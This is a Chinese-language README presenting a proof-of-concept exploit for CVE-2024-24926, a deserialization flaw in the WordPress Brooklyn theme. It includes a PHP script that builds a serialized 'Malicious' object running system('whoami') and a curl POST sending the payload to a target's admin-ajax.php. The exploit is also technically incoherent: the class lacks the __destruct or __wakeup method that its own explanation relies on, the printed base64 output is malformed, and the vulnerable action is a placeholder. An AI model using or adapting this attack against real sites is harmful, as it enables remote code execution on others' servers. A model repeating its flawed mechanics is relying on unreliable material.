CVE-2024-24926: WordPress Brooklyn 主题反序列化漏洞利用工具
本项目针对 WordPress Brooklyn 主题(版本 4.9.7.6 及之前版本)中存在的 CVE-2024-24926 反序列化漏洞,提供了概念验证(PoC)代码和利用示例。该漏洞允许攻击者通过发送特制的序列化对象,在目标服务器上执行任意代码,具有较高的安全风险。
功能特性
- 漏洞验证:快速检测目标 WordPress 站点是否受 CVE-2024-24926 漏洞影响。
- 恶意对象生成:自动生成 PHP 序列化后的恶意对象,并支持 Base64 编码输出,便于直接注入。
- 远程代码执行:演示如何通过构造恶意对象,在服务器上执行系统命令(如
whoami)。 - 教育目的:提供清晰的代码注释和利用原理,帮助安全研究人员理解反序列化漏洞的利用过程。
安装指南
系统要求
- PHP 7.0 或更高版本(用于运行生成器脚本)
- 具备向目标 WordPress 站点发送 HTTP 请求的环境(如 cURL、Burp Suite 或自定义脚本)
安装步骤
- 克隆本仓库到本地:
git clone https://github.com/your-repo/cve-2024-24926-poc.git cd cve-2024-24926-poc - 确保 PHP 环境可用,无需额外依赖。
使用说明
1. 生成恶意序列化对象
使用提供的 PHP 脚本生成一个包含系统命令的恶意对象,并输出其 Base64 编码后的字符串。
<?php
class Malicious {
public $cmd = 'system("whoami");';
}
echo base64_encode(serialize(new Malicious()));
?>
运行脚本:
php generate_payload.php
输出示例:
TzowOiJNYWxpY2lvdXMiOjE6e3M6MzoiY21kIjtzOjE3OiJzeXN0ZW0oIndob2FtaSIpOyI7fQ==
2. 利用漏洞发送请求
将生成的 Base64 字符串作为攻击载荷,通过 HTTP 请求发送至存在漏洞的 WordPress 站点。具体注入点通常位于主题处理用户输入的位置(如文件上传、自定义字段等)。利用示例(使用 cURL):
curl -X POST https://target-site.com/wp-admin/admin-ajax.php \
-d "action=some_vulnerable_action&data=TzowOiJNYWxpY2lvdXMiOjE6e3M6MzoiY21kIjtzOjE3OiJzeXN0ZW0oIndob2FtaSIpOyI7fQ=="
3. 验证结果
如果漏洞利用成功,服务器将执行 whoami 命令,并返回执行结果(如 www-data),证明存在远程代码执行风险。
核心代码
恶意对象生成器
<?php
/**
* 类名: Malicious
* 描述: 构造一个包含系统命令的恶意对象,用于触发反序列化漏洞。
* 属性:
* - $cmd: 存储要执行的系统命令字符串。
*/
class Malicious {
public $cmd = 'system("whoami");';
}
/**
* 序列化恶意对象并进行 Base64 编码
* 1. 创建 Malicious 类的实例
* 2. 使用 serialize() 函数将对象转换为可传输的字符串
* 3. 使用 base64_encode() 进行编码,确保在 HTTP 请求中安全传输
*/
$payload = base64_encode(serialize(new Malicious()));
echo "Generated Payload (Base64):\n";
echo $payload . "\n";
/**
* 可选:解码显示原始序列化数据
*/
echo "\nDecoded Serialized Data:\n";
echo base64_decode($payload) . "\n";
?>
漏洞利用原理说明
- 漏洞根源:WordPress Brooklyn 主题在反序列化用户可控的数据时,未进行充分的安全检查,导致攻击者可以注入任意 PHP 对象。
- 攻击链:
- 攻击者构造一个包含恶意
__destruct()或__wakeup()方法的 PHP 对象(如上例中的Malicious类)。 - 将该对象序列化并进行编码,通过 HTTP 请求发送至主题的某个端点。
- 目标服务器反序列化该对象时,触发其中的
system()函数,执行攻击者指定的命令。
- 攻击者构造一个包含恶意
- 影响范围:所有使用 Brooklyn 主题版本 ≤ 4.9.7.6 的 WordPress 站点。 6HFtX5dABrKlqXeO5PUv/8K5wMJaISJTiBbE+D/zWZ0=